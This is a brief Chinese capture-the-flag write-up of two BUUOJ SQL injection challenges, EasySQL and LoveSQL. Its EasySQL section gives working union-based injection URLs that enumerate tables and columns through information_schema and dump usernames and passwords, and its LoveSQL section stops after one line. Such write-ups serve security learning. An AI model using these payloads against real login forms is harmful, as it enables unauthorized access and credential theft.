文章目录
- EasySQL
- LoveSQL
前言:有时候使用#符号会没用,可以用url编码代替%23,基础注入与报错注入都可以解除来这两道题,判断是否为字符型懒得记录下来
EasySQL
通过order by得到有3列
/check.php?username=1' union select 4,2,3%23&password=1
![在这里插入图片描述 [BUUOJ]两道简单的SQL注入(EasySQL与LoveSQL)_url编码](https://file.cfanz.cn/uploads/png/2022/10/26/18/AID1P40ZOd.png)
得到回显点位为2和3,查询当前数据库名及版本
开始爆表
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
![在这里插入图片描述 [BUUOJ]两道简单的SQL注入(EasySQL与LoveSQL)_url编码_02](https://file.cfanz.cn/uploads/png/2022/10/26/18/S415c6333a.png)
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
![在这里插入图片描述 [BUUOJ]两道简单的SQL注入(EasySQL与LoveSQL)_php_03](https://file.cfanz.cn/uploads/png/2022/10/26/18/96e96U8998.png)
得到数据与Flag:
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
LoveSQL
至于是数字型还是字符型不想写下来记录
首先利用order by查出有三列
迷惑行为,非预期解
![在这里插入图片描述 [BUUOJ]两道简单的SQL注入(EasySQL与LoveSQL)_php_04](https://file.cfanz.cn/uploads/png/2022/10/26/18/b8CSHeb156.png)










